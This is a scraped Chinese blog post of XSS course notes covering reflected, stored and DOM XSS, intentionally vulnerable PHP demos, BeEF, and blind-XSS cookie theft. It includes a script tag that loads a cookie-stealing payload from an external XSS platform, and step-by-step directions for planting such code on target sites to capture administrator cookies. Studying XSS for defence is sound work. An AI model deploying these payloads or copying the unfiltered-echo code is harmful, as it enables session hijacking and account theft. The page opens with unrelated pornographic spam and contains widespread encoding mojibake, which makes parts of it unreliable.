日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

25.XSS跨站原理分类和攻击手法

發(fā)布時間:2023/12/31 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 25.XSS跨站原理分类和攻击手法 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

文章目錄

  • XSS跨站原理分類和攻擊手法
    • 知識匯總
      • XSS 跨站漏洞
        • 1. XSS簡介
        • 2. 產生層面
        • 3. 函數(shù)類
        • 4. 漏洞操作對應層
        • 5. 危害影響
        • 6. `瀏覽器內核版本`
        • 7. 常出現(xiàn)場景
      • XSS常見出現(xiàn)漏洞的地方
      • XSS 跨站漏洞分類:
        • 1. 反射型
        • 2. 儲存型
        • 3. DOM型
        • 常用的DOM方法
      • XSS 漏洞原理([轉自此博客](https://www.jianshu.com/p/4fcb4b411a66))
        • 1. 反射型XSS
        • 2. 存儲型XSS
        • 3. DOM XSS
      • XSS 常規(guī)攻擊手法:
      • XSS平臺及工具使用 postman軟件
      • XSS經典應用案例測試
        • xss漏洞存在的地方
      • cookie session
      • Webshell后門中的后門
      • Session與Cookie獲取問題
        • 盜取Cookie的前提條件
    • 演示案例:
      • 1.某營銷訂單系統(tǒng)化xss盲打_平臺
      • 2.某shell箱子系統(tǒng)xss盲打_工具
      • 3.其他參考應用案例-后臺權限維持
      • 4.工具http/s數(shù)據(jù)包提交postman使用
        • 案例1:某營銷訂單系統(tǒng)化xss盲打_平臺
        • 案例2:某 Shell 箱子系統(tǒng) XSS 盲打_工具
        • 案例3:其他參考應用案例-后臺權限維持
          • beef工具使用
          • 下載beef
        • 案例4:工具 Http/s 數(shù)據(jù)包提交 Postman 使用
        • 5.XSS平臺的使用和搭建
  • 涉及資源:

XSS跨站原理分類和攻擊手法


就是和html語言打交道

歸納很全的大佬文章

二十五:XSS跨站值原理分類及攻擊手法 - 九~月 - 博客園 (cnblogs.com)

知識匯總

XSS 跨站漏洞

1. XSS簡介

跨站腳本攻擊是指惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執(zhí)行,從而達到惡意攻擊用戶的目的。

攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(same origin policy)。這種類型的漏洞由于被黑客用來編寫危害性更大的網(wǎng)絡釣魚(Phishing)攻擊而變得廣為人知。對于跨站腳本攻擊,黑客界共識是:跨站腳本攻擊是新型的“緩沖區(qū)溢出攻擊“,而JavaScript是新型的“ShellCode”。

xss漏洞通常是通過php的輸出函數(shù)將javascript代碼輸出到html頁面中,通過用戶本地瀏覽器執(zhí)行的,所以xss漏洞關鍵就是尋找參數(shù)未過濾的輸出函數(shù)

2. 產生層面

產生層面一般都是在前端,JavaScript代碼能干什么,執(zhí)行之后就會達到相應的效果

3. 函數(shù)類

比如說php中的腳本的輸出函數(shù)

常見的輸出函數(shù)有:print、print_r、echo、printf、sprintf、die、var_dump、var_export

4. 漏洞操作對應層

5. 危害影響

  • 盜取各類用戶帳號,如機器登錄帳號、用戶網(wǎng)銀帳號、各類管理員帳號

  • 控制企業(yè)數(shù)據(jù),包括讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)的能力

  • 盜竊企業(yè)重要的具有商業(yè)價值的資料

  • 非法轉賬

  • 強制發(fā)送電子郵件

  • 網(wǎng)站掛馬

  • 控制受害者機器向其它網(wǎng)站發(fā)起攻擊

6. 瀏覽器內核版本

利用這個漏洞需要瀏覽器版本和內核沒有過濾XSS攻擊
ie 瀏覽器默認不行

7. 常出現(xiàn)場景

文章發(fā)表、評論、留言、注冊資料的地方、修改資料的地方等

XSS常見出現(xiàn)漏洞的地方

數(shù)據(jù)交互的地方§ get、post、cookies、headers§ 反饋與瀏覽§ 富文本編輯器§ 各類標簽插入和自定義 數(shù)據(jù)輸出的地方§ 用戶資料§ 關鍵詞、標簽、說明§ 文件上傳

XSS 跨站漏洞分類:

1. 反射型

<非持久化> 攻擊者事先制作好攻擊鏈接, 需要欺騙用戶自己去點擊鏈接才能觸發(fā)XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現(xiàn)在搜索頁面。
(雖然還有種DOM型XSS,但是也還是包括在反射型XSS內)

為什么叫反射型XSS呢?
那是因為這種攻擊方式的注入代碼是從目標服務器通過錯誤信息,搜索結果等方式反射回來的。

為什么又叫非持久性XSS呢?
那是因為這種攻擊方式只有一次性。

發(fā)包 x=xiaodi => x.php => 回包

2. 儲存型

<持久化> 代碼是存儲在服務器中的,如在個人信息或發(fā)表文章等地方,加入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,每當有用戶訪問該頁面的時候都會觸發(fā)代碼執(zhí)行,這種XSS非常危險,容易造成蠕蟲,大量盜竊cookie(。

為什么又叫持久性XSS?
那是因為這種攻擊方式,是直接把惡意代碼存入到數(shù)據(jù)庫中,那么下一次當其他用戶訪問該文章的時候,服務器會從數(shù)據(jù)庫中讀取后然后響應給客戶端,那么瀏覽器就會執(zhí)行這段腳本。

發(fā)包 x=xiaodi => x.php (后端代碼)=> 寫到數(shù)據(jù)庫某個表 => x.php =>回顯

3. DOM型

DOM可以被認為是一種通過將頁面元素以對象的樹形方式表現(xiàn),以便由Javascript組織處理的實現(xiàn)方法。

例如嗶哩嗶哩評論就是用dom型加載的,url 不用改,簡單理解:請求時,加載頁面數(shù)據(jù)的展現(xiàn)形式不一樣

常用的DOM方法

用戶可通過 JavaScript (以及其他編程語言)對 HTML DOM 進行訪問。所有 HTML 元素被定義為對象,而編程接口則是對象方法和對象屬性。

基于文檔對象模型Document Objeet Model,DOM)的一種漏洞。DOM是一個與平臺、編程語言無關的接口,它允許程序或腳本動態(tài)地訪問和更新文檔內容、結構和樣式,處理后的結果能夠成為顯示頁面的一部分。DOM中有很多對象,其中一些是用戶可以操縱的,如uRI ,location,refelTer等。客戶端的腳本程序可以通過DOM動態(tài)地檢查和修改頁面內容,它不依賴于提交數(shù)據(jù)到服務器端,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,如果DOM中的數(shù)據(jù)沒有經過嚴格確認,就會產生DOM XSS漏洞。

發(fā)包 x=xiaodi => 本地瀏覽器靜態(tài)前端代碼 =x.php

一個是后端語言進行數(shù)據(jù)處理 dom 屬于用js代碼經行處理可以從源代碼分析dom xss漏洞

代碼:

#' οnclick="alert(2)">

XSS 漏洞原理(轉自此博客)

1. 反射型XSS

在黑盒測試中,這種類型比較容易通過漏洞掃描器直接發(fā)現(xiàn),我們只需要按照掃描結果進行相應的驗證就可以了。

相對的在白盒審計中, 我們首先要尋找?guī)?shù)的輸出函數(shù),接下來通過輸出內容回溯到輸入?yún)?shù),觀察是否過濾即可。

無案例不足以求真,這里我們選用echo()函數(shù)作為實例來分析:

新建 XssReflex.php,代碼如下:

<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS</title> </head> <body> <form action="" method="get"> <input type="text" name="input"> <input type="submit"> </form> <br> <?php $XssReflex = $_GET['input']; echo 'output:<br>'.$XssReflex; ?> </body> </html>

這是一個很簡單、也很常見的頁面:

變量 $XssReflex 獲取 get 方式傳遞的變量名為 input 的變量值(值為一個字符串),然后直接通過echo()函數(shù)輸出,注意這中間并未對用戶輸入進行任何過濾。

打開Firefox輸入url:https://localhost/codeaudit/xss/XssReflex.php :

當我們輸入 1 ,頁面返回 1 :

當我們輸入hello時,頁面返回 hello :

以上都為正常的輸出,但如果我們輸出一些JavaScript代碼呢?

比如我們輸入 :s

可以看到瀏覽器成功彈窗,說明我們輸出的JavaScript代碼成功被執(zhí)行了。

我們查看網(wǎng)頁html代碼:

第12行增加了:

<script>alert('xss')</script>

這個彈窗并沒有什么實際的意義,但通過它我們知道輸入javascript代碼是可以被執(zhí)行的,當我們輸入一些其他函數(shù),比如 document.cookie 就可以成功盜取用戶的cookie信息,或者讀取用戶瀏覽器信息等,為我們進一步深入攻擊做鋪墊。

2. 存儲型XSS

和反射性XSS的即時響應相比,存儲型XSS則需要先把利用代碼保存在比如數(shù)據(jù)庫或文件中,當web程序讀取利用代碼時再輸出在頁面上執(zhí)行利用代碼。但存儲型XSS不用考慮繞過瀏覽器的過濾問題,屏蔽性也要好很多。

存儲型XSS攻擊流程:

存儲型XSS的白盒審計同樣要尋找未過濾的輸入點和未過濾的輸出函數(shù)。

使用cat命令查看 XssStorage.php 代碼

shiyanlou:~/ $ cat XssStorage.php

代碼如下:

<span style="font-size:18px;"><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <html> <head> <title>XssStorage</title> </head> <body> <h2>Message Board<h2> <br><form action="XssStorage.php" method="post"> Message:<textarea id='Mid' name="desc"></textarea> <br> <br> Subuser:<input type="text" name="user"/><br> <br><input type="submit" value="submit" οnclick='loction="XssStorage.php"'/> </form> <?php if(isset($_POST['user'])&&isset($_POST['desc'])){ $log=fopen("sql.txt","a"); fwrite($log,$_POST['user']."\r\n"); fwrite($log,$_POST['desc']."\r\n"); fclose($log); } if(file_exists("sql.txt")) { $read= fopen("sql.txt",'r'); while(!feof($read)) { echo fgets($read)."</br>"; } fclose($read); } ?> </body> </html></span>

頁面功能簡述:

這個頁面采用POST提交數(shù)據(jù),生成、讀取文本模擬數(shù)據(jù)庫,提交數(shù)據(jù)之后頁面會將數(shù)據(jù)寫入sql.txt,再打開頁面時會讀取sql.txt中內容并顯示在網(wǎng)頁上,實現(xiàn)了存儲型xss攻擊模擬。

打開Firefox輸入url:localhost/codeaudit/xss/XssStorage.php :

我們隨意輸出一些內容:

可以看到頁面正常顯示頁面留言信息。

當我們在Message中輸入<script>alert('xss')</script>時,頁面成功彈窗 :

并且我們重啟瀏覽器之后再加載該頁面,頁面依然會彈窗,這是因為惡意代碼已經寫入數(shù)據(jù)庫中,每當有人訪問該頁面時,惡意代碼就會被加載執(zhí)行!

我們查看網(wǎng)頁html代碼:

這就是所謂的存儲型XSS漏洞,一次提交之后,每當有用戶訪問這個頁面都會受到XSS攻擊,危害巨大。

3. DOM XSS

? 特殊的存反射型XSS

自己的理解:漏洞就在htmL代碼里實現(xiàn) 知識點:php代碼在客戶端是顯示執(zhí)行后的結果 html代碼 在服務端和客戶端看是一樣的 通過javascript 操作代碼這種情況稱為dom型

XSS 常規(guī)攻擊手法:

平臺,工具,結合其他等

攻擊成功的條件:對方有漏洞,瀏覽器存有cookie,瀏覽器不進行攔截,不存在帶代碼過濾和httponly,對方要觸發(fā)這個漏洞地址

1、xss平臺 https://xssye.com

<sCRiPt sRC=http://xssye.com/fX8W></sCrIpT>

2、工具
3、結合其他漏洞 CSRF跨站請求偽造

XSS平臺及工具使用 postman軟件

WEBSHELL箱子管理系統(tǒng) 用beef反拿到訂單管理系統(tǒng)的shell,進行社工,以及釣魚各種操作。

XSS經典應用案例測試

xss漏洞存在的地方

留言板 評論區(qū) 訂單系統(tǒng) 意見反饋等

cookie session

用戶憑據(jù):通過憑據(jù)可以判斷對方身份信息
cookie 存儲本地 存活時間較長 小中型企業(yè)
session 會話 存儲服務器 存活時間較短 大型企業(yè) 會話劫持

session會占用服務器的資源,但是比較安全。比如說javaweb中的session序列化和反序列化。

Webshell后門中的后門

webshell箱子

Session與Cookie獲取問題

XSS盲打:瞎打,只要存在一處就行。

拿到cookie還得查看是否是cookie驗證還是session驗證

獲取phpinfo界面里面的session id ,用xss平臺拿網(wǎng)頁源碼。beef讓用戶訪問phpinfo信息

document.cookie等
配合讀取phpinfo等信息源碼等

盜取Cookie的前提條件

網(wǎng)站存在xss漏洞
管理員保存密碼(有cookie)
瀏覽器內核滿足(不是ie)

演示案例:

1.某營銷訂單系統(tǒng)化xss盲打_平臺

2.某shell箱子系統(tǒng)xss盲打_工具

3.其他參考應用案例-后臺權限維持

4.工具http/s數(shù)據(jù)包提交postman使用

案例1:某營銷訂單系統(tǒng)化xss盲打_平臺

待完成

管理后臺查看:

xss平臺:

案例2:某 Shell 箱子系統(tǒng) XSS 盲打_工具

跨站漏洞可以應用在很多方面

webShell 箱子(后門中的后門) 一句話shell,腳本后門(大馬),腳本控制網(wǎng)站,別有用心的人會在腳本中再寫上后面,你入侵一個網(wǎng)站之后,你用他的后門腳本對網(wǎng)站進行一個控制,那么入侵網(wǎng)站的信息,你的后門地址,后門密碼,會發(fā)送到一個地方,俗稱
箱子、信封。

把你的后門地址和密碼傳回…

網(wǎng)上很多工具大馬都有后門,把記錄上傳到他們那獲利,自己成為工具人。

參考鏈接 https://blog.csdn.net/xf555er/article/details/105151100

使用的時候可以抓包看是否向不明地址發(fā)數(shù)據(jù)包,如果它發(fā)送的是賬戶密碼之類,在箱子管理頁面有回顯,那我們可以構造xss腳本反殺

本地搭建

用大馬它會調用腳本發(fā)送到盒子

3、隨意構造一個一句話木馬,然后再一句話木馬代碼里插入javascript語句來制作后門(調用webshell箱子里的api.asp文件)。

4、當你插入這個一句話木馬在某個網(wǎng)頁,它會發(fā)送這個網(wǎng)頁的url以及一句話木馬的密碼到后門服務器

5、當我們使用一些大馬時可以通過抓包來判斷是否有后門

當我們找到后門服務器的地址后,可以通過插入XSS語句來反殺后門

利用burp抓到發(fā)送到后門服務器的包,將發(fā)送的參數(shù)修改成xss代碼

然后去后門服務器地址看一下,出現(xiàn)彈窗

案例3:其他參考應用案例-后臺權限維持

beef工具使用

這里發(fā)現(xiàn)下載太慢了
把之前阿里的換中科的源

vim /etc/apt/sources.list 打開apt源deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib更新源:apt-get update
下載beef
sudo apt-get install beef-xss

修改默認密碼,記得重啟電腦或者殺死beef進程才能生效。

案例4:工具 Http/s 數(shù)據(jù)包提交 Postman 使用

添加cookie,后成功跳轉后臺

因為采用的是session驗證, 那么xss平臺是接收不到PHPSESSION的,

session 是存儲在網(wǎng)站服務器的。

5.XSS平臺的使用和搭建

搭建藍蓮花xss測試平臺

(可以github 自己搭建)
大多數(shù)的xss平臺都類似
XSS Platform我自己注冊的

https://xsshs.cn/xss.php?do=login

  • 注冊
  • 新創(chuàng)建一個我的項目
  • 選擇自己需要的功能,打鉤
  • 查看代碼
  • 把這些跨站代碼弄到目標攻擊的網(wǎng)站
  • 等管理員查看后臺留言板的時候
  • 發(fā)現(xiàn)請求了這個地址。在平臺上就有信息了
  • 涉及資源:

    http://xss.fbisb.com/ XSS平臺
    https://xssye.com XSS平臺
    https://github.com/tennc/webshell
    https://www.postman.com/downloads/ Postman工具下載

    參考博客:
    https://blog.csdn.net/MCTSOG/article/details/123432298
    https://blog.csdn.net/zr1213159840/article/details/122287072

    https://blog.csdn.net/MCTSOG/article/details/123407098?spm=1001.2101.3001.6650.16&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-16.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-16.pc_relevant_default&utm_relevant_index=22 https://blog.csdn.net/weixin_44532761/article/details/121744243?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4.pc_relevant_default&utm_relevant_index=9

    https://www.jianshu.com/p/4fcb4b411a66

    總結

    以上是生活随笔為你收集整理的25.XSS跨站原理分类和攻击手法的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內容還不錯,歡迎將生活随笔推薦給好友。